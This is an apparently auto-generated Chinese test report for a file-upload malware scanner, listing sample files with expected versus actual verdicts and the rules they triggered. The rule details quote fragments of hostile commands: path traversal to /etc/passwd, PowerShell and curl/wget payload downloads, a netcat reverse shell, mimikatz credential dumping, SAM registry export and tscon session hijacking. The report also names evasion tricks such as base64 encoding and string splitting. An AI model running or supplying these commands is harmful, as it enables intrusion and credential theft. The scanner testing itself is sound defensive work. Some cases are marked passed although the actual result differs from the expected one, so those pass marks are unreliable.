#### ✅ L0-028 — `L0-028_unicode_filename.zip`
|
||
|
||
- **描述**: unicode/emoji 文件名
|
||
- **文件大小**: 285 B
|
||
- **预期**: `pass`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|
||
|
||
#### ✅ L0-029 — `L0-029_zero_byte_exe.exe`
|
||
|
||
- **描述**: 空文件(0字节)后缀exe
|
||
- **文件大小**: 0 B
|
||
- **预期**: `review`
|
||
- **实际**: `suspicious` (score=55.0, action=manual_review)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.exe
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe |
|
||
| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'The file is empty' |
|
||
|
||
#### ✅ L0-030 — `L0-030_nested_traversal.zip`
|
||
|
||
- **描述**: 嵌套 zip 内含穿越条目
|
||
- **文件大小**: 647 B
|
||
- **预期**: `reject`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 PathTraversal 命中:归档内含路径穿越条目:../evil_script.sh, ../../etc/passwd
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `critical` | `PathTraversal` | 50.0 | 归档内含路径穿越条目:../evil_script.sh, ../../etc/passwd |
|
||
| `structure` | `L0` | `high` | `ArchiveContainsExecutable` | 30.0 | 归档内含可执行文件 1 个:../evil_script.sh |
|
||
| `extractor` | `L0` | `critical` | `PathTraversalBlocked` | 50.0 | 已拦截路径穿越条目:../evil_script.sh |
|
||
| `extractor` | `L0` | `critical` | `PathTraversalBlocked` | 50.0 | 已拦截路径穿越条目:../../etc/passwd |
|
||
|
||
### L1
|
||
|
||
#### ✅ L1-001 — `L1-001_eicar.txt`
|
||
|
||
- **描述**: EICAR标准测试串文本
|
||
- **文件大小**: 68 B
|
||
- **预期**: `reject`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `EmbeddedEICAR` | 35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) |
|
||
| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature |
|
||
|
||
#### ✅ L1-002 — `L1-002_eicar_in_zip.zip`
|
||
|
||
- **描述**: EICAR放入zip压缩包
|
||
- **文件大小**: 184 B
|
||
- **预期**: `reject`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature |
|
||
|
||
#### ✅ L1-003 — `L1-003_eicar_in_encrypted.zip`
|
||
|
||
- **描述**: 加密 ZIP(占位:实际加密需 7z/zip -P)
|
||
- **文件大小**: 198 B
|
||
- **预期**: `review`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature |
|
||
|
||
#### ✅ L1-004 — `L1-004_eicar_in_docx.docx`
|
||
|
||
- **描述**: EICAR放入docx内嵌(OLE)
|
||
- **文件大小**: 336 B
|
||
- **预期**: `reject`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature |
|
||
|
||
#### ✅ L1-005 — `L1-005_eicar_modified.txt`
|
||
|
||
- **描述**: 修改 1 字节 EICAR,ClamAV 不应命中
|
||
- **文件大小**: 68 B
|
||
- **预期**: `pass`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|
||
|
||
#### ✅ L1-006 — `L0-001_jpg_normal.jpg`
|
||
|
||
- **描述**: 干净jpg图片(对照负样本)
|
||
- **文件大小**: 54 B
|
||
- **预期**: `pass`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|
||
|
||
#### ✅ L1-007 — `L0-003_docx_normal.docx`
|
||
|
||
- **描述**: 干净docx文档(对照负样本)
|
||
- **文件大小**: 281 B
|
||
- **预期**: `pass`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|
||
|
||
#### ✅ L1-008 — `L0-005_pe_clean.exe`
|
||
|
||
- **描述**: 干净hello PE(对照负样本)
|
||
- **文件大小**: 926 B
|
||
- **预期**: `pass`
|
||
- **实际**: `suspicious` (score=55.0, action=manual_review)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.exe
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe |
|
||
| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
|
||
|
||
#### ✅ L1-009 — `L1-009_minimal.cvd`
|
||
|
||
- **描述**: 热加载测试占位(需真实 .cvd 文件)
|
||
- **文件大小**: 38 B
|
||
- **预期**: `review`
|
||
- **实际**: `reject` (score=100.0, action=reject)
|
||
- **判定理由**: 文件类型 .cvd 不在允许清单内
|
||
|
||
**命中规则:** 无
|
||
|
||
#### ✅ L1-010 — `L1-010_corrupt.cvd`
|
||
|
||
- **描述**: 损坏病毒库占位
|
||
- **文件大小**: 30 B
|
||
- **预期**: `reject`
|
||
- **实际**: `reject` (score=100.0, action=reject)
|
||
- **判定理由**: 文件类型 .cvd 不在允许清单内
|
||
|
||
**命中规则:** 无
|
||
|
||
#### ✅ L1-011 — `L1-011_eicar_in_3layer.zip`
|
||
|
||
- **描述**: EICAR放在多层嵌套zip
|
||
- **文件大小**: 412 B
|
||
- **预期**: `reject`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature |
|
||
|
||
#### ✅ L1-012 — `L1-012_eicar_base64.txt`
|
||
|
||
- **描述**: base64 编码 EICAR,ClamAV 不解码
|
||
- **文件大小**: 92 B
|
||
- **预期**: `pass`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|
||
|
||
#### ✅ L1-013 — `L1-013_bigfile_eicar.txt`
|
||
|
||
- **描述**: 10MB+ 文本尾部含 EICAR
|
||
- **文件大小**: 800,070 B
|
||
- **预期**: `review`
|
||
- **实际**: `suspicious` (score=35.0, action=manual_review)
|
||
- **判定理由**: structure:文件内嵌 EICAR 测试病毒字节序列(文件大小 800070B)
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `EmbeddedEICAR` | 35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 800070B) |
|
||
|
||
#### ✅ L1-014 — `L1-014_concurrent_test.txt`
|
||
|
||
- **描述**: 并发压测占位(靠 API 并发调用)
|
||
- **文件大小**: 163 B
|
||
- **预期**: `review`
|
||
- **实际**: `suspicious` (score=35.0, action=manual_review)
|
||
- **判定理由**: structure:文件内嵌 EICAR 测试病毒字节序列(文件大小 163B)
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `EmbeddedEICAR` | 35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 163B) |
|
||
|
||
#### ✅ L1-014-00 — `L1-014_concurrent_eicar_00.txt`
|
||
|
||
- **描述**: 并发压测占位 #0
|
||
- **文件大小**: 68 B
|
||
- **预期**: `reject`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `EmbeddedEICAR` | 35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) |
|
||
| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature |
|
||
|
||
#### ✅ L1-014-01 — `L1-014_concurrent_eicar_01.txt`
|
||
|
||
- **描述**: 并发压测占位 #1
|
||
- **文件大小**: 68 B
|
||
- **预期**: `reject`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `EmbeddedEICAR` | 35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) |
|
||
| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature |
|
||
|
||
#### ✅ L1-014-02 — `L1-014_concurrent_eicar_02.txt`
|
||
|
||
- **描述**: 并发压测占位 #2
|
||
- **文件大小**: 68 B
|
||
- **预期**: `reject`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `EmbeddedEICAR` | 35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) |
|
||
| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature |
|
||
|
||
#### ✅ L1-014-03 — `L1-014_concurrent_eicar_03.txt`
|
||
|
||
- **描述**: 并发压测占位 #3
|
||
- **文件大小**: 68 B
|
||
- **预期**: `reject`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `EmbeddedEICAR` | 35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) |
|
||
| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature |
|
||
|
||
#### ✅ L1-014-04 — `L1-014_concurrent_eicar_04.txt`
|
||
|
||
- **描述**: 并发压测占位 #4
|
||
- **文件大小**: 68 B
|
||
- **预期**: `reject`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `EmbeddedEICAR` | 35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) |
|
||
| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature |
|
||
|
||
#### ✅ L1-014-05 — `L1-014_concurrent_eicar_05.txt`
|
||
|
||
- **描述**: 并发压测占位 #5
|
||
- **文件大小**: 68 B
|
||
- **预期**: `reject`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `EmbeddedEICAR` | 35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) |
|
||
| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature |
|
||
|
||
#### ✅ L1-014-06 — `L1-014_concurrent_eicar_06.txt`
|
||
|
||
- **描述**: 并发压测占位 #6
|
||
- **文件大小**: 68 B
|
||
- **预期**: `reject`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `EmbeddedEICAR` | 35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) |
|
||
| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature |
|
||
|
||
#### ✅ L1-014-07 — `L1-014_concurrent_eicar_07.txt`
|
||
|
||
- **描述**: 并发压测占位 #7
|
||
- **文件大小**: 68 B
|
||
- **预期**: `reject`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `EmbeddedEICAR` | 35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) |
|
||
| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature |
|
||
|
||
#### ✅ L1-014-08 — `L1-014_concurrent_eicar_08.txt`
|
||
|
||
- **描述**: 并发压测占位 #8
|
||
- **文件大小**: 68 B
|
||
- **预期**: `reject`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `EmbeddedEICAR` | 35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) |
|
||
| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature |
|
||
|
||
#### ✅ L1-014-09 — `L1-014_concurrent_eicar_09.txt`
|
||
|
||
- **描述**: 并发压测占位 #9
|
||
- **文件大小**: 68 B
|
||
- **预期**: `reject`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `EmbeddedEICAR` | 35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) |
|
||
| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature |
|
||
|
||
#### ✅ L1-015 — `L1-015_layer_off_sample.bin`
|
||
|
||
- **描述**: 关闭分层开关测试占位
|
||
- **文件大小**: 68 B
|
||
- **预期**: `review`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `ExtensionMismatch` | 30.0 | 扩展名声明为 .bin,实际内容为 EICAR virus test files(.txt) |
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.bin |
|
||
| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature |
|
||
| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'DOS Header magic not found.' |
|
||
|
||
### L3
|
||
|
||
#### ✅ L3-001 — `L3-001_001_sample.ps1`
|
||
|
||
- **描述**: PS1明文:Invoke-WebRequest下载
|
||
- **文件大小**: 77 B
|
||
- **预期**: `reject`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 RemoteDownloadPowerShell 命中:词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['Invoke-WebRequest -Uri http']
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.ps1 |
|
||
| `document` | `L2` | `critical` | `SuspiciousScript` | 70.0 | 下载远程载荷 |
|
||
| `keywords` | `L2B` | `high` | `RemoteDownloadPowerShell` | 35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['Invoke-WebRequest -Uri http'] |
|
||
| `yara` | `L2B` | `low` | `Test_PowerShell_Download` | 10.0 | YARA 规则 Test_PowerShell_Download 命中(标签:无) |
|
||
|
||
#### ✅ L3-002 — `L3-002_002_sample.ps1`
|
||
|
||
- **描述**: PS1明文:反弹shell nc
|
||
- **文件大小**: 29 B
|
||
- **预期**: `reject`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 ReverseShellNetcat 命中:词表命中:ReverseShellNetcat(模式=regex),命中 1 处:['nc 10.0.0.5']
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.ps1 |
|
||
| `keywords` | `L2B` | `critical` | `ReverseShellNetcat` | 40.0 | 词表命中:ReverseShellNetcat(模式=regex),命中 1 处:['nc 10.0.0.5'] |
|
||
| `yara` | `L2B` | `low` | `C7_Linux_ReverseShell_NC` | 85.0 | YARA 规则 C7_Linux_ReverseShell_NC 命中(标签:无) |
|
||
| `yara` | `L2B` | `low` | `Test_ReverseShell_Basic` | 10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) |
|
||
|
||
#### ✅ L3-003 — `L3-003_003_sample.bat`
|
||
|
||
- **描述**: bat明文:curl下载payload
|
||
- **文件大小**: 40 B
|
||
- **预期**: `reject`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 RemoteDownloadUnix 命中:词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:['curl http://ev']
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.bat |
|
||
| `keywords` | `L2B` | `high` | `RemoteDownloadUnix` | 30.0 | 词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:['curl http://ev'] |
|
||
|
||
#### ✅ L3-004 — `L3-004_004_sample.txt`
|
||
|
||
- **描述**: 文本包含mimikatz关键字
|
||
- **文件大小**: 54 B
|
||
- **预期**: `reject`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 CredentialStealer 命中:词表命中:CredentialStealer(模式=regex),命中 2 处:['mimikatz.exe privi', 'ge::debug sekurlsa::logonpas']
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `keywords` | `L2B` | `critical` | `CredentialStealer` | 45.0 | 词表命中:CredentialStealer(模式=regex),命中 2 处:['mimikatz.exe privi', 'ge::debug sekurlsa::logonpas'] |
|
||
|
||
#### ✅ L3-005 — `L3-005_005_sample.txt`
|
||
|
||
- **描述**: 文本包含reg save导出注册表
|
||
- **文件大小**: 26 B
|
||
- **预期**: `reject`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 CredentialExport 命中:词表命中:CredentialExport(模式=regex),命中 1 处:['reg save HKLM\\SAM sam.save']
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `keywords` | `L2B` | `critical` | `CredentialExport` | 45.0 | 词表命中:CredentialExport(模式=regex),命中 1 处:['reg save HKLM\\SAM sam.save'] |
|
||
|
||
#### ✅ L3-006 — `L3-006_006_sample.txt`
|
||
|
||
- **描述**: 文本包含rdp、tscon劫持关键字
|
||
- **文件大小**: 23 B
|
||
- **预期**: `review`
|
||
- **实际**: `suspicious` (score=35.0, action=manual_review)
|
||
- **判定理由**: keywords:词表命中:RemoteSessionHijack(模式=regex),命中 1 处:['tscon 1 /dest:r']
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `keywords` | `L2B` | `high` | `RemoteSessionHijack` | 35.0 | 词表命中:RemoteSessionHijack(模式=regex),命中 1 处:['tscon 1 /dest:r'] |
|
||
|
||
#### ✅ L3-007 — `L3-007_007_sample.txt`
|
||
|
||
- **描述**: 高危串base64编码放在txt
|
||
- **文件大小**: 23 B
|
||
- **预期**: `pass`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|
||
|
||
#### ✅ L3-008 — `L3-008_008_sample.ps1`
|
||
|
||
- **描述**: Powershell字符串拆分拼接绕过
|
||
- **文件大小**: 39 B
|
||
- **预期**: `pass`
|
||
- **实际**: `suspicious` (score=30.0, action=manual_review)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.ps1
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.ps1 |
|
||
|
||
#### ✅ L3-009 — `L3-009_newline_split.txt`
|
||
|
||
- **描述**: 换行分割绕过(L3 不做换行合并,记录边界)
|
||
- **文件大小**: 54 B
|
||
- **预期**: `review`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 RemoteDownloadPowerShell 命中:词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['Invoke-WebRequest https://e']
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `keywords` | `L2B` | `high` | `RemoteDownloadPowerShell` | 35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['Invoke-WebRequest https://e'] |
|
||
|
||
#### ✅ L3-010 — `L3-010_010_sample.ps1`
|
||
|
||
- **描述**: 高危串插入注释分割(powershell #注释)
|
||
- **文件大小**: 42 B
|
||
- **预期**: `review`
|
||
- **实际**: `suspicious` (score=30.0, action=manual_review)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.ps1
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.ps1 |
|
||
|
||
#### ✅ L3-011 — `L3-011_011_sample.js`
|
||
|
||
- **描述**: 高危串放js脚本内
|
||
- **文件大小**: 58 B
|
||
- **预期**: `review`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 RemoteDownloadUnix 命中:词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:["Function('wget http://ev"]
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.js |
|
||
| `keywords` | `L2B` | `high` | `RemoteDownloadUnix` | 30.0 | 词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:["Function('wget http://ev"] |
|
||
|
||
#### ✅ L3-012 — `L3-012_012_sample.bat`
|
||
|
||
- **描述**: 正常内网运维curl(白名单对照)
|
||
- **文件大小**: 34 B
|
||
- **预期**: `review`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 RemoteDownloadUnix 命中:词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:['curl http://19']
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.bat |
|
||
| `keywords` | `L2B` | `high` | `RemoteDownloadUnix` | 30.0 | 词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:['curl http://19'] |
|
||
|
||
#### ✅ L3-013 — `L3-013_normal_scp.sh`
|
||
|
||
- **描述**: 内网正常 scp 运维脚本,不误报
|
||
- **文件大小**: 118 B
|
||
- **预期**: `pass`
|
||
- **实际**: `suspicious` (score=30.0, action=manual_review)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.sh
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.sh |
|
||
|
||
#### ✅ L3-014 — `L3-014_l3001_in_zip.zip`
|
||
|
||
- **描述**: 高危字符串放在zip内部txt
|
||
- **文件大小**: 177 B
|
||
- **预期**: `review`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 RemoteDownloadPowerShell 命中:词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['ayload.ps1Invoke-WebRequest -Uri http']
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `ArchiveContainsExecutable` | 30.0 | 归档内含可执行文件 1 个:payload.ps1 |
|
||
| `keywords` | `L2B` | `high` | `RemoteDownloadPowerShell` | 35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['ayload.ps1Invoke-WebRequest -Uri http'] |
|
||
| `yara` | `L2B` | `low` | `Test_PowerShell_Download` | 10.0 | YARA 规则 Test_PowerShell_Download 命中(标签:无) |
|
||
|
||
#### ✅ L3-015 — `L3-015_keyword_in_docx.docx`
|
||
|
||
- **描述**: 高危字符串放在docx文本正文
|
||
- **文件大小**: 316 B
|
||
- **预期**: `review`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
